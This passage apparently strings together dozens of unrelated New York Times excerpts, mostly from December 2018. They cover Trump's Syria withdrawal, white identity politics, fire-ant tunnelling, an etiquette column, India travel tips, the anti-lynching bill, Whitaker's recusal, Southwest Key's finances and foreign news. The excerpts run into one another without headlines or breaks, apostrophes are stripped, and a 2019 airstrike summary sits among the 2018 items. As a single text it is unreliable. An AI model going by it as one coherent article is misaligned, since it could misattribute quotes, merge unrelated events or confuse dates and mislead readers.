prejudice. White racial solidarity provides a lens through which whites interpret the political and social world that is inward looking. According to Jardina, whites, to a certain extent, are deliberately claiming victimhood: White identifiers have co-opted the language of racial discrimination and oppression. Put bluntly, the politics of white identity is marked by an insidious illusion, one in which whites claim their group experiences discrimination in an effort to reinforce and maintain a system of racial inequality where whites are the dominant group with the lions share of power and privileges. Because for many whites identifying with their group and protecting its status hardly seems problematic, especially compared to racism, its difficult to convince some whites that theres something normatively objectionable about identifying with ones racial group and wanting to protect its interests. Eric Kaufmann, in his forthcoming book Whiteshift: Populism, Immigration, and the Future of White Majorities, addresses similar racial and ethnic tensions. Kaufmann writes: As the urban West gets more diverse, the finger increasingly points to the white majority as the engine of segregation. White majorities are retreating towards places where they are relatively concentrated. Kaufmann, a political scientist at the University of London, argues provocatively in an email that a strategic shift to compromise on the most divisive issues, including immigration, could work to Democrats advantage: The rights problem in America is more its doctrinaire tax-cutting, suspicion of government and international institutions. If the left didnt give it so much domestic cultural ammunition, the right would face defeat and have to adjust. Kaufmann argues that there is a structural dilemma posed by the multiracial nature of the left coalition: he views what he calls the institutionalization of multiculturalism/diversity/equity and of high immigration as fueling the rightward direction of recent political movements in the United States and Europe. He believes that it would benefit progressive groups, in the interests of harmony, for liberals to argue their case for diversity but that they should tolerate difference of opinion and accept compromise. But Obama and the aides who continue to defend his policy are right about one big thing: There were no easy answers in Syria. When Assad began killing his fellow Syrians to put down a rebellion, the United States had no clear way of stopping him, absent another potentially catastrophic Middle Eastern war. Obamas approach to Syria failed, yet any alternate approach may have failed as well. Yesterday, President Trump put his own stamp on Syria policy, and it was not encouraging. Against the advice of his advisers and, in some cases, to their surprise Trump will pull out the remaining 2,000 American troops within 30 days. As part of the announcement, Trump claimed victory, saying that the extremist Islamic State had been defeated. And he can fairly take credit for overseeing military victories against it. But many experts believe that an American withdrawal may now allow the Islamic State to regain some of the central Syrian regions it once controlled. Only nine days ago, Brett McGurk, who helps lead Syria policy under Trump, suggested a pullout would be reckless. In September, Defense Secretary Jim Mattis similarly suggested that blindly deciding to leave would be a mistake. And yesterday a couple of high-profile Republicans in Congress blasted the move. For all of their differences, both Trump and Obama have shown a welcome reluctance to risk American lives for an uncertain or nonexistent benefit. But that reluctance still needs to be paired with a strategic vision. In Syria, and most everywhere else, Trump seems to lack that vision. Ants are great tunnelers. Thats how they make their nests underground. But even they run into traffic jams, like this one here. Thats not surprising. But the solution is. Experiments with fire ants showed that the key to avoiding jams and solving ones that do occur is idleness 30 percent of the ants do 70 percent of the work. And that turns out to be ideal. Add more ants to the working pool, and productivity suffers. Its not that any particular ants are lazy, or that they know how to avoid jams completely. Ants do pile up. But theyre easily discouraged by a jam and good at backing up and turning around, allowing the remaining workers to continue digging. Some of the ants dont even go near the tunnel. The researchers tested their ideas about optimal ant behavior using robots and magnetized spheres. With simple instructions to gather the spheres, the robots all rushed to work at the same time. The result: gridlock. But with some idleness programmed in, the robots were more productive. Here you can see the original group versus ones programmed to think more like ants. In the real world, this kind of programming could make robot swarms more effective at searching disaster sites or delivering drugs inside the body. So why dont ants just make wider tunnels with more room for digging? Well, heres what happens in a wider tunnel. Sometimes, its hard to hang onto the sides. And sometimes, they completely lose their grip. How embarrassing. Ariel Winter knew her lines: Sit. Sit. Sit. Sit. Sit. But her co-star, a brindled hound mix named Tigger, didnt budge. It was the Tuesday after Thanksgiving, and Ms. Winter, a dog lover, had come to Animal Haven, a shelter on Centre Street in Lower Manhattan that finds home for abandoned dogs and cats. In town to promote Modern Family, the popular sitcom she has starred in for 10 seasons, Ms. Winter had taken the afternoon off to volunteer at the shelter and record a public service announcement. In Los Angeles, where she lives, Ms. Winter works with the Westside German shepherd Rescue and American Humane. Four dogs (Casper, Chloe, Cash and Cleo) populate the Culver City home she shares with her boyfriend, the actor Levi Meaden. Thanks for the Pet Care, but What About the Dishes? My dog walker will be taking care of my dog and staying at my apartment while Im away after the holidays. She has done this before, and I am grateful for her service. She takes excellent care of my dog. The issue: the mess she leaves behind (dishes in the sink, etc.). I pay her, and I would like her to leave the place cleaner. How can I raise this without offending her? ANONYMOUS Let me be the first to agree that asking your dog sitter to run the dishwasher or leave the living room looking as if a cyclone had not torn through it is totally reasonable. Let me also remind you that finding someone you trust enough to stay in your home and care for your dog is no mean feat. Dont ruin future vacations for yourself by mistaking your dog sitter for a housekeeper. They both work in your home, but you wouldnt ask your mechanic to drive you on errands, right? Feel free to say, Can you make sure the food is stowed and the dishes are clean? And please empty the trash. But dont expect her to clean the place (unless you hired her as a dog sitter-slash-downstairs maid). Hire someone else for that. To Invite, or Not to Invite? Every year, I host a holiday party for my extended family. One of my cousins does not speak to his mother. I invite them both. My aunt comes, and my cousin bows out. If I had to choose, I would prefer my cousin to attend. But the only way to ensure this result is not to invite my aunt. I wish I werent in this awkward position. But may I leave her off the guest list? ANONYMOUS Stop right there! You will not wade into these treacherous waters on my watch. As hosts, we invite people we like (or feel obliged to include). But they decide whether to attend. Do not embroil yourself in this mother-son feud or exclude your aunt from a family party. (Who knows if your cousin would come even if his mother werent invited?) If you want to see him, invite him to dinner. For help with your awkward situation, send a question to SocialQ@nytimes.com, to Philip Galanes on Facebook or @SocialQPhilip on Twitter. Schauspiel Stuttgart, Stuttgart As always, a number of plays had me squirming in my chair wondering how long the agony could last. Theres only one, however, I wish I could un-see: Kay Vogess Das 1. Evangelium, which originated at the Schauspiel Stuttgart and later traveled to the Volksbuhne in Berlin. This migraine-inducing romp through the New Testament combined pseudo-intellectualism with high camp on a constantly rotating stage. Mr. Voges and his team went all out for this garishly lit and intricately choreographed show, which follows the dysfunctional shoot of a biblical film. It doesnt take long for the novelty of the brightly colored set pieces to wear off and for boredom to set in: Das 1. Evangelium is too indulgent and puerile to even cause offense. 7. Stay safe I had no safety issues while traveling in India I avoided conspicuously displaying money, didnt walk around too late at night and generally used common sense. But I understand that the experience for female travelers, particularly women traveling alone, might be quite different. Much has been written on the topic, including this National Geographic piece by Neha Dara and this piece by Candace Rardon. I recommend reading personal accounts of women who have traveled to India, or speaking with friends who have gone, if possible, and then making your own assessment. Travel should be an adventure, but it shouldnt make anyone feel unsafe or compromised. 8. Lets make a deal Haggling is an art form. And while some people truly dont like doing it (I dont particularly, either), its worth trying to get in the spirit of it, especially if youre planning to do any shopping. In general, decide what the particular thing a shirt, or a handbag is worth to you. Set a mental ceiling on what youre willing to pay. The first price the seller will throw at you, particularly if youre visibly foreign, will likely be very high. Come back with half of that price, or possibly even less, depending on the circumstances. The seller will dramatically dismiss your reply and come back with a slightly smaller number. From there, its just a question of how much you want the item. Dont focus on getting to the absolute lowest price a vendor will go if its between paying 500 or 600 rupees for something, dont make a federal case over that last 100 rupees, which is less than two dollars, and possibly lose the sale. Remember: Objectively, youre still probably getting a good deal, and that money likely means more to them than it does to you. 9. To eat or not to eat? I am an unabashed proponent of street food. I love the flavors, the environment and the fact that it is, by its nature, quite frugal. But street food obviously has potential risks. When I traveled to China earlier this year, some street dumplings gave me some major stomach issues. In India, I had better luck and thats what it is, really: luck. If you eat enough street food, youre going to get sick. Its just a matter of time. For me, the payoff is worth the risk. And if its something youre going to try, there are ways to reduce the chances youll get sick. First, dont drink the water. This sounds obvious, but it extends to other activities: Be careful when brushing your teeth with tap water (use bottled if possible) or opening your mouth while showering. I also avoid buying drinks with ice on the street while the fruit juice you order might be perfectly safe, the ice may not. Ill pass on fresh produce, unless its something that can be peeled. Generally, I look for hot foods, and street stalls that have a lot of turnover. If theyre serving a lot of food, theres a greater chance the food is fresh. And things like the wonderfully spiced, milky tea, which is kept at a rolling boil at the many street-side tea stands, are likely to be safer than raw items. Follow NY Times Travel on Twitter, Instagram and Facebook. Get weekly updates from our Travel Dispatch newsletter, with tips on traveling smarter, destination coverage and photos from all over the world. This story is from 2018. For updates on anti-lynching legislation, go here. The Senate on Wednesday unanimously passed a bill that would, for the first time, explicitly make lynching a federal crime. For over a century, members of Congress have attempted to pass some version of a bill that would recognize lynching for what it is: a bias-motivated act of terror, Senator Cory Booker, a New Jersey Democrat who introduced the bill, said in a statement. Today, we have righted that wrong and taken corrective action that recognizes this stain on our countrys history. More than 4,700 people, the vast majority of them black, were lynched in the United States between 1882 and 1968, according to the N.A.A.C.P. Perpetrators were rarely prosecuted. Congress has tried and failed some 200 times to pass similar anti-lynching legislation since 1882, according to the bill. The bill, titled the Justice for Victims of Lynching Act of 2018, was introduced in June by the Senates three black members: Kamala Harris, a California Democrat; Tim Scott, a South Carolina Republican; and Mr. Booker. A spokeswoman for Ms. Harris said her office was trying to get the House to schedule a vote on the bill before Congress adjourns this week. WASHINGTON The Democratic National Committee on Thursday unveiled the early outlines of its 2020 presidential primary debate plans, a process that could allow a large number of candidates to face off over two consecutive evenings in at least a dozen planned debates. Tom Perez, the chairman of the committee, announced that the party would hold six debates in 2019 and the rest in the first six months of 2020. In a shift from tradition, none are scheduled for the early-primary states of Iowa, New Hampshire, South Carolina and Nevada until 2020. With nearly three dozen Democrats pondering a presidential bid, party officials anticipate a rush of candidates eager to grab a spot in the nationally televised forums. Depending on the size of the field, the committee may decide to split the debate over two consecutive evenings in the same location, Mr. Perez said, and would conduct a random selection process that would take place publicly to determine which candidates speak on which nights. He did not elaborate on how that process might work. [Make sense of the people, issues and ideas shaping American politics with our newsletter.] Mr. Perez said the committee had not set a maximum number of candidates who could appear on the stage and was planning for the possibility of a double-digit field. I see my generals those generals are going to keep us so safe. These are central casting if Im doing a movie, I pick you, general. President Trump likes to talk about Americas generals. Remember the old days of General MacArthur and General Patton and these great generals. Although, hes been less kind to modern-day generals. I know more about ISIS than the generals do, believe me. And I can just see the great as an example Gen. George Patton spinning in his grave. General MacArthur is spinning in his grave. But since his election, Trump has put four of them in senior positions, the most of any modern-day president. They say hes the closest thing to Gen. George Patton that we have, and its about time. Its about time. Now, theres none left. So, what happened? First to go was Michael Flynn, a retired Army general. He was an early and vocal supporter of Trump. He will lead from the front, not from behind. That loyalty paid off. But soon, it came out that Flynn misled White House officials about his contact with Russias ambassador. He was forced to resign. Next to go was an active-duty Army general, H.R. McMaster, who replaced Flynn. McMaster pushed for a bigger U.S. military commitment in Afghanistan and Syria. He was also a fierce critic of Vladimir Putin. We might show him the beaches of Normandy, where lingering craters and bullet holes demonstrate the Wests will to sacrifice. Trump, on the other hand, had opposing views on all of the above, and the two never developed a personal chemistry. John Kelly, one of the two former Marine Corps generals, was the next to go. He was briefly Homeland Security secretary, then Trump made him chief of staff. He will do a spectacular job, I have no doubt. And Kelly was given credit for bringing discipline to the West Wing. But Trump grew wary of Kellys strict management style As questions persist over Kellys defense of Porter and of Kellys part in several controversies. For his part, Kelly was reported to frequently call the president an idiot. Although, hes denied this. Now, James Mattis is the last general to leave the cabinet. Early on, he seemed to elicit the most enthusiasm for Trump. General Mad Dog Mattis. Mattis has generally kept a low profile, but in recent months his relationship with Trump is said to have soured. They butted heads on a range of issues: NATO policy, North Korea and finally, withdrawing U.S. troops from Syria. In his resignation letter, the retired Marine general cited a difference of views with Trump. With Mattis gone, the White House will be without one of the few officials viewed as able to keep an unpredictable president in check. The House Republicans maneuver did have a potential political upside for them, turning the tables on Democrats who will now be in the position of blocking a measure to keep the government open because of their opposition to funding the wall. Chuck Schumer and Senate Democrats now have to decide whether it is worth shutting down the government to keep us from securing our border, Mr. McCarthy said. But given Mr. Trumps very public courting of a shutdown over the wall and unified Republican control of Congress, Democrats did not appear to be wavering in their position. The Senate-passed measure would have extended the government funding for nine federal departments and several federal agencies past midnight Friday. Instead of confronting the president over his intransigence, Republican leaders fell in line. We want to keep the government open, but we also want to see an agreement that protects the border, said Speaker Paul D. Ryan of Wisconsin. We have very serious concerns about securing our border. It was an ignominious end to the tenure of Mr. Ryan, who just one day before had given his farewell speech lamenting the outrage-fueled nature of the political discourse and its role in scuttling compromise on major issues including immigration. Mr. Ryan, whose speakership was diminished by an inability to maneuver around the Freedom Caucus at critical moments, had long advocated a broad immigration compromise, but he spent his final hours in the post waging a futile and divisive fight to erect a border wall. In an appropriate denouement to a Congress plagued by dysfunction much of it at the hands of the president demoralized Republicans about to lose their House majority were unsure until the last moment that they could even pass the wall funding measure, given how many of their defeated and retiring members have neglected to show up for votes in recent days. In the end, enough did, and only eight Republicans joined Democrats to oppose it. WASHINGTON President Trump on Thursday defended his plan to withdraw American troops from Syria against mounting criticism from Republicans and Democrats and concerns from his military and diplomatic advisers who were caught off guard by his abrupt announcement a day earlier. Getting out of Syria was no surprise, Mr. Trump wrote in one of a series of Twitter posts on Thursday morning. He presented a string of justifications for his decision, including supportive quotes from a few who applauded his agenda. The president also pushed back against reports which he derided as Fake News that the American military exit from Syria would advance Russian and Iranian foreign policy objectives. In Moscow, President Vladimir V. Putin of Russia said he supported the plan and called it the right decision. The scope of the ethics conversation was limited to the statements about the inquiry that Mr. Whitaker made before joining the department. In the letter addressed to Senator Mitch McConnell of Kentucky, the Republican majority leader, and Senator Chuck Schumer of New York, the Democratic leader the Justice Department noted that no previous attorney general or senior department official had stepped down from a matter based upon statements made in the media. Separately, the Justice Department provided to the Senate Judiciary Committee late on Wednesday a package of Mr. Barrs writings and speeches. The documents included a 19-page, apparently unsolicited memo Mr. Barr sent to senior department officials in June in which he sharply criticized Mr. Muellers focus on whether Mr. Trump had obstructed justice. [Read Mr. Barrs memo.] Public speculation about an obstruction charge has focused on actions like Mr. Trumps pressuring the F.B.I. director at the time, James B. Comey, to quash a criminal investigation into his first national security adviser, Michael T. Flynn, for lying to investigators about his conversations with the Russian ambassador; Mr. Trumps firing of Mr. Comey; and the presidents seeming dangling of potential pardons at witnesses in Mr. Muellers inquiry. While acknowledging in his memo that he was in the dark about many facts, Mr. Barr argued that the Justice Department must not accept the notion that a president can violate a statute that criminalizes obstruction of justice when he is exercising his constitutional authority in an otherwise lawful way such as by firing a subordinate, pardoning someone or using his complete authority to start or stop a law enforcement proceeding but with a corrupt motive. Muellers obstruction theory is fatally misconceived, Mr. Barr wrote. As I understand it, his theory is premised on a novel and legally insupportable reading of the law. Moreover, in my view, if credited by the department, it would have grave consequences far beyond the immediate confines of this case and would do lasting damage to the presidency and to the administration of law within the executive branch. Mr. Barrs memo was first reported by The Wall Street Journal. Several Democrats reacted to the memo and the recusal decision with alarm. Representative Jerrold Nadler of New York, who will soon become chairman of the House Judiciary Committee, suggested that Mr. Whitaker was more concerned with satisfying Mr. Trump than protecting the departments integrity. He said he would grill Mr. Whitaker at an oversight hearing next month. WASHINGTON Matthew G. Whitaker, the acting attorney general, has decided not to recuse himself from the Russia investigation, despite being advised otherwise by a career ethics official, according to a Justice Department letter sent to Senate leaders. Mr. Whitaker will now have final say over any major developments made in that inquiry. [Read the letter.] The deputy attorney general, Rod J. Rosenstein, who has been overseeing the investigation while Mr. Whitaker spoke with ethics lawyers, will continue to manage it day to day, according to a senior department official, who was not authorized to speak publicly on the matter. Mr. Whitaker has not yet been briefed on any aspect of the investigation, although one of his advisers has been briefed on major developments, according to the senior department official. That adviser has not shared information with Mr. Whitaker, and it is not clear when the acting attorney general will have his first briefing. Mr. Whitaker must now be informed of any significant prosecutorial or investigative steps in the Russia inquiry, which is being led by the special counsel, Robert S. Mueller III. Edward Douglas is serving a life sentence for selling crack cocaine. He cannot go to church with his mother, a pastor in Chicago. He cannot take his grandchildren to the park. He dreams of working as a mechanic again. Its a possibility that seems increasingly likely. Under bipartisan criminal justice legislation that won final approval by Congress on Thursday, Mr. Douglas, 55, could have his sentence reduced to less time than he has already served. He was convicted at a time when crack cocaine offenses were handled far more harshly than those involving powder cocaine. The disparity, now widely viewed as scientifically unwarranted and racially discriminatory, prompted mandatory minimum sentences for a far smaller amount of crack, more common in black communities, than powder, more common among whites. Even the judge who presided over Mr. Douglass case says he believed the mandatory life sentence was unfair. Tens of thousands of people were sentenced under the harsher mandatory minimums for crack. But the change that could help Mr. Douglas has been so long in coming that relatively few of them remain incarcerated. No more than 2,660 federal inmates will potentially be eligible for sentence reductions under the change, according to the United States Sentencing Commission. Almost nine in 10 of them are, like Mr. Douglas, black. Federal prosecutors interest in Southwest Key builds on a continuing inquiry by the F.B.I. into the finances of a smaller Texas-based shelter provider, International Educational Services. That nonprofit lost its federal contracts in February for possible self-dealing, including renting shelters owned by charity officials and using public funds to pay them well above what the government permits. Southwest Keys founder and chief executive, Juan Sanchez, helped start I.E.S. more than 30 years ago, though he is no longer affiliated with it. Last year, at least eight of Southwest Keys executives earned more than the federal salary cap of $187,000. Mr. Sanchez made $1.5 million. His wife earned $500,000 as a vice president, and the organizations chief financial officer made $1 million. Additionally, Mr. Sanchez and the chief financial officer have for years collected government money in rent as landlords of a Southwest Key shelter. The Department of Health and Human Services, which oversees migrant shelter grants, requires shelter employees to avoid private financial gain, or even the appearance of it. Asked by The Times about the payments this fall, the nonprofits leaders said they would sell their personal stakes in the property. Though Southwest Key has come under scrutiny after a series of abuse allegations at shelters in Arizona in recent months, the organization has remained a critical partner to the government. Mr. Sanchez and the former Walmart have become symbols of the migrant shelter industry. To get that former superstore up and running, Southwest Key engaged in a convoluted real estate transaction, lending $6 million to a pair of South Texas developers to buy and renovate the property. Southwest Key now pays nearly $5 million annually in rent more than the property itself cost. It is unclear whether prosecutors are scrutinizing that deal, which has the potential to disguise kickbacks. Officials at H.H.S. declined to comment Thursday on the Justice Departments investigation into Southwest Keys finances. H.H.S. has hired forensic accountants to review the finances of shelter operators. That review is continuing and could affect the governments future grant decisions, a spokesman for the agency said. According to government records, H.H.S. last paid grant money to Southwest Key at the end of the past fiscal year, on Nov. 6. Rinsing chicken or turkey before cooking it is an ingrained step for many home cooks, passed down through generations and reinforced by cookbooks. Recipes like the Perfect Roast Chicken in The Barefoot Contessa Cookbook from 1999 advise cooks to Rinse the chicken inside and out. But that doesnt reflect the science. To wash or not to wash? Thats a question home cooks ask experts at the Department of Agricultures meat and poultry hotline a lot around the holidays. Or they dont ask and end up dispersing food pathogens all over their kitchens, increasing the very risk of food-borne illness they are trying to avoid. Consumers should rinse their fresh fruits and vegetables with cold water, but they should not rinse raw poultry, meat or eggs, according to the experts. People are still shocked when we tell them not to wash poultry, said Marianne Gravely, a food safety educator at the U.S.D.A., which has been advising against washing raw poultry and meat for decades. Back in the early 90s we were saying that. Hakuna Matata is a common expression in Swahili, a language spoken in a large part of Africa, and it became popular in the West after the original version of The Lion King was released in 1994. Trademark experts said the issue had been blown out of proportion by confusion over intellectual property rights and what the trademark actually entails. The trademark does not mean that the company owns the phrase, or that it can ban anyone from using it. Disney filed the trademark upon the release of the original movie for clothing or footwear it sells in the United States, as a way to protect itself against other companies that might try to exploit the Disney brand. Disneys registration for Hakuna Matata, which was filed in 1994, has never and will not prevent individuals from using the phrase, a press officer for the company said on Thursday. Indeed, for many years, trademarks have been registered for popular words and phrases such as Yahoo!, Vaya con Dios (Go with God), Merry Christmas and Seasons Greetings without impeding the use of these phrases and words in any cultural way. Apple, for instance, has a trademark over what is essentially a fruit, but there are limits to its ability to limit other companies from using the word or image of an apple: Other firms cannot print the word or the symbol on goods with the intention of misguiding consumers to think they are buying an Apple product. (In fact, the technology company fought a long legal battle with Apple Corps, the company that manages rights to The Beatles work, over the use of the apple logo and name.) COPENHAGEN The authorities in Morocco said on Thursday that three more suspects had been arrested in the killings of two Scandinavian tourists in the Atlas Mountains, in what Danish officials suggested was an act of terror linked to the Islamic State. The Central Office of Judicial Research in Morocco said in a statement that the three suspects had been detained in Marrakesh. Another suspect arrested on Tuesday was thought to have extremist ties, Moroccan prosecutors told local news outlets without providing further details. The names of those arrested were not immediately released. The authorities said that the bodies of the victims, Louisa Vesterager Jespersen, 24, of Denmark and Maren Ueland, 28, of Norway, were found on Monday by other tourists in an isolated area of the High Atlas Mountains, an area popular with hikers and six miles from the village of Imlil. Both women had been studying at the same school in Norway to become tour guides. Prime Minister Lars Loekke Rasmussen of Denmark said on Thursday that the killings might be politically motivated, and thereby an act of terror. He added that there are still dark forces that want to fight our values and that we must not give in. A spokesman for the Foreign Ministry, Roberto Velasco, said the move did not represent an agreement between the two countries, but rather a unilateral move by the United States that we have to respond to. Mr. Velasco said the rules would apply only to new asylum applicants, not to individuals who have already entered the United States with processes underway. The United States did not initially make clear if the policy applied only to new applicants. The administrations move is a sharp departure from decades of American asylum practice, according to legal experts and advocates. The United States has long accepted individuals from across the world fleeing harm or persecution in their home countries. The program is almost certain to be challenged in the United States courts by human rights groups and advocates. Many have already claimed that sending persecuted individuals to Mexico, one of the most violent countries in the world, places them in harms way. This deal is a stark violation of international law, flies in the face of U.S. laws passed by Congress, and is a callous response to the families and individuals running for their lives, said Margaret Huang, the executive director of Amnesty International. While the individuals would be allowed to return to the United States for court hearings, they would remain in Mexico under a humanitarian visa until their process is completed. Mexicos decision to accept the asylum seekers is likely to be seen as a capitulation by the new government to President Trump, who proclaimed over Twitter two weeks ago that Mexico would house asylum applicants to the United States on its soil. BEIJING China acknowledged on Thursday that the authorities there had detained a third Canadian citizen, a teacher from Alberta, making her the most recent casualty in a diplomatic standoff between the two countries. The Foreign Ministry said that a female Canadian citizen identified as Sarah D. McIver had been working illegally and was being held in administrative detention. The Canadian government announced the detention on Wednesday but did not release Ms. McIvers name. Ms. McIvers detention came days after the arrests of Michael Kovrig, a former Canadian diplomat who was working for a nongovernmental organization in China, and Michael Spavor, an entrepreneur specializing in business with North Korea. The three detentions appear to be in retaliation for Canadas arrest of Meng Wanzhou, the chief financial officer of Huawei, the giant Chinese technology company. Ms. Meng was detained on Dec. 1 while in transit in Vancouver, on her way from Hong Kong to Mexico. SEOUL, South Korea North Korea will not dismantle its nuclear weapons program until the United States also agrees to diminish its military capacity in the vicinity of the Korean Peninsula, its official news agency said on Thursday, clarifying a position that had remained vague since the leaders of both countries met in June. At that meeting, President Trump and Kim Jong-un, the leader of North Korea, committed to work toward the complete denuclearization of the Korean Peninsula. But diverging interpretations of exactly what complete and denuclearization mean have led to a diplomatic stalemate and a breakdown in talks. When we refer to the denuclearization of the Korean Peninsula, it means the removal of all sources of nuclear threat not only from the North and the South but also from all neighboring areas targeting the peninsula, the official Korean Central News Agency said in a published commentary on Thursday. The denuclearization of the Korean Peninsula should be defined as completely eliminating the U.S. nuclear threat to Korea before it can eliminate our nuclear deterrent. North Korea has for decades maintained that it would not eliminate its weapons program until the United States closed its regional nuclear umbrella, a network of nuclear-capable submarines and bombers operating off the coasts of South Korea and Japan. KABUL, Afghanistan In the most substantial formal talks so far with the Taliban, United States officials discussed the future of the American military presence in Afghanistan and an offer of a three-month cease-fire during which the insurgents and the Afghan government could have negotiations, a senior American diplomat said on Thursday. The diplomat, Zalmay Khalilzad, the Trump administrations special representative in charge of the talks for Afghan reconciliation to end the 17-year war, briefed Afghan leaders in Kabul on two days of talks with the Taliban this week in the United Arab Emirates. The discussions included representatives from the U.A.E., the host country; Saudi Arabia; and Pakistan the only three nations that recognized the Taliban regime before it was toppled by the American invasion in 2001 and that still have varying degrees of influence over the insurgent group. Mr. Khalilzad said in interviews with the Afghan TV channels ToloNews and Ariana that progress had been made in the talks even though Taliban representatives refused to meet with a delegation sent to the U.A.E. by the Afghan government. The Australia Letter is a weekly newsletter from our Australia bureau chief. Sign up to get it by email. ______ Another year on its way out the door, and what a year its been. Australia lost a prime minister. The United States gained a congressional check on President Trumps power and China found itself with a leader for life in Xi Jinping. Power shifted elsewhere too. The worlds technology dynamos, especially Facebook and Tesla, battled stiff headwinds and criticism as they continued to reshape how we all interact, for good or ill, while abusive men continued to fall like dominoes in year two of the #MeToo movement. Here at The New York Times, we tried to keep you up to date and add our particular perspective global, nuanced, fair at least as often as we could. The handshake requirement will deter few applicants for citizenship, officials said, but it sends a harsh message to Muslims, and many mayors who conduct citizenship ceremonies said they would find ways to avoid it. Its against my ideology and conviction to have to force other people to have body contact, said Thomas Andresen, the mayor of Aabenraa, near the border with Germany. To circumvent the law, Mr. Andresen said, he could either arrange to have local officials of both genders take part in the ceremonies or have state officials take over. Either way, he said, he would look for pragmatic solutions while protesting legislation gone too far. Mogens Jespersen, the mayor of Mariagerfjord, a northern town, told the national broadcaster that he would disregard the law and accept a nod or a bow from an applicant refusing to extend her hand. But I think its a hypothetical question Ill never face, he said. In Ishoj, a suburb of Copenhagen, immigrants and their descendants constitute 40 percent of the population. But its mayor of 17 years, Ole Bjorstorp, said he had never met anybody who refused to shake his hand. If it were to happen, he said, he would just find somebody else to perform the ceremony. My conscience doesnt allow me to report people on this basis so they wont become Danish citizens, he said. Its a moral and ethical issue. One mayor said he had met a female asylum seeker who declined to shake his hand for religious reasons, but he did not find it disturbing. SENLIS, France After more than a month of furious, antigovernment demonstrations across France, it is easy to forget that a gasoline tax set all this off. A few cents per liter at the pump. A pebble in the sea of the French economy. A step to address climate change, according to President Emmanuel Macron. Of course, thats not how millions of workers who depend on their cars saw it. Mobility is the story of globalization and its inequities. Mobility means more than trains, planes and automobiles, after all. It also includes social and economic mobility being too poor to afford a car, being rich enough to transfer money out of the country. These are all inextricably linked. Weeks of protests by the Yellow Vests have made that clear. Many of these protesters, predominantly white working poor and middle-class people who scrape by on their paychecks and pensions, live in what the author Christophe Guilluy has called peripheral France. The term is meant to imply both a state of being and the thousands of small, struggling cities, towns and rural districts beyond the inner-ring suburbs of places like Paris, Bordeaux, Lyon or Lille. Mr. Putin reiterated the Kremlin position that American forces have no legal right to be in Syria, in that they were neither invited by Damascus, as the Russian forces were, nor authorized by the United Nations Security Council. The American decision to withdraw represented at least a tactical victory for Mr. Putin, who intervened in Syria in September 2015 with the primary goal of re-establishing Russia as a power to be reckoned with in the Middle East, analysts said. For now, it is really good news for Putin, said Konstantin von Eggert, a political commentator on the independent Russian TV station Dozhd. Putins main goal from Day 1 of his intervention was to establish himself as the global authority to prevent regime change. In this he has succeeded. But Mr. Putin still faces some challenges in Syria. The Islamic State, while mostly lying low, remains a potentially potent guerrilla force in the eastern desert region, he and others noted. With the Americans out of the way, he will inherit that fight, which he largely avoided while propping up Mr. Assads control over most of western Syria. ISIS is not defeated. I am sure the Russians know that very well, said Yuri Barmin, a fellow at the Russian International Affairs Council who specializes in Middle Eastern affairs. If the Americans are not there to fight it, then who will? It will have to be Russia. Key Findings From the Baghuz Airstrike Investigation Card 1 of 5 Uncovering the truth. Over several months, The New York Times pieced together the details of a 2019 airstrike in Baghuz, Syria, one of the largest civilian casualty incidents of the war against the Islamic State. Here are the key findings from the investigation: The U.S. military carried out the attack. Task Force 9, the secretive special operations unit in charge of ground operations in Syria, called in the attack. The strike began when an F-15E attack jet hit Baghuz with a 500-pound bomb. Five minutes later, the F-15E dropped two 2,000-pound bombs. The death toll was downplayed. The U.S. Central Command recently acknowledged that 80 people, including civilians, were killed in the airstrike. Though the death toll was almost immediately apparent to military officials, regulations for investigating the potential crime were not followed. Reports were delayed, sanitized and classified. The Defense Departments independent inspector general began an inquiry, but the report containing its findings was stalled and stripped of any mention of the strike. American-led coalition forces bulldozed the blast site. Civilian observers who came to the area of the strike the next day described finding piles of dead women and children. In the days following the bombing, coalition forces overran the site, which was quickly bulldozed. The American presence also helped to glue together a Kurdish-Arab alliance in the east that is likely to unravel in its absence, he said. The withdrawal could present problems in the western theater in the Syrian conflict as well. Not only will it remove the hurdle preventing Iranian forces from advancing unimpeded down the road from Iraq into Syria, but it could also fuel ambitions within the Syrian and Iranian forces to capture Idlib province, the last holdout of the armed opposition. The Netherlands is considering referring Russia to an international court after reaching an impasse with the Kremlin over responsibility for shooting down a civilian airliner over Ukraine in 2014, killing 298 people, many of them Dutch citizens. In a letter delivered to the Dutch Parliament on Thursday morning, the countrys foreign minister, Stef Blok, said that Russia had rebuffed all efforts to start negotiations on a possible settlement or compensation for the victims of the 2014 attack on Malaysia Airlines Flight 17, and that the government was considering potential next steps including submitting the matter to an international court or organization. The Netherlands and Australia, whose citizens made up a large number of the victims, made several requests to Russia through diplomatic channels to engage in formal meetings on this matter, with a view to establishing the truth and achieving justice and accountability for the victims and their next of kin, Mr. Blok wrote in the letter, which was obtained by The New York Times. The diplomatic efforts, he said, have not produced negotiations concerning Russias responsibility, though the Dutch government remains open to dialogue should the Kremlin wish to come to the table. LONDON A couple who named their child after Hitler have been sentenced to more than 10 years total in prison after they were convicted of being members of a banned neo-Nazi group that had sought to start a race war in Britain, the police said. A judge in Birmingham Crown Court, in central England, sentenced the couple, Adam Thomas, 22, and Claudia Patatas, 38, on Tuesday, along with four other members, for being members of the violent National Action group after they were convicted last month. Mr. Thomas received six years and six months in prison, and Ms. Patatas five years. The six were active members of the group, which has been banned under British antiterrorism law since 2016. But Mr. Thomas, a former security guard, and Ms. Patatas, a wedding photographer, stood out: The couple gave their child the middle name Adolf out of admiration for Hitler, the BBC reported. In one image released by the West Midlands Police, the couple were photographed holding their baby alongside a flag emblazoned with a swastika. In another, Mr. Thomas is shown in a white robe reminiscent of those worn by the Ku Klux Klan while cradling a baby also dressed in white. CAIRO An Egyptian court acquitted 41 American, European and Egyptian employees of groups that promoted democracy and media freedom on Thursday, bringing an end to a seven-year case that was a thorn in relations with the United States and had become emblematic of the official backlash against civil society following the Arab Spring protests of 2011. The defendants were convicted in 2013 on administrative charges relating to financing and official permits that nonetheless carried a criminal penalty. Some received sentences of five years, angering the government in Washington and becoming a source of tension with both the Obama and Trump administrations. Among the groups affected were the National Democratic Institute, the International Republican Institute and the Konrad Adenauer Foundation, a German organization. Many of those convicted were sentenced in absentia after fleeing Egypt. None served any jail time. But the case underscored official Egyptian sensitivity, and what many viewed as paranoia, about the role of foreign organizations at a delicate moment following the upheaval of the Arab Spring. [Read about a Times reporters tour of the ISIS prisoner camps in Syria] There have been reports that the Kurdish group was planning to withdraw its forces from front-line positions fighting the Islamic State, but there was no sign so far that had happened. A report by the Syrian Observatory said the S.D.F. leadership was discussing the prisoners release because the home countries of many of them had refused to take them back. The observatory, a 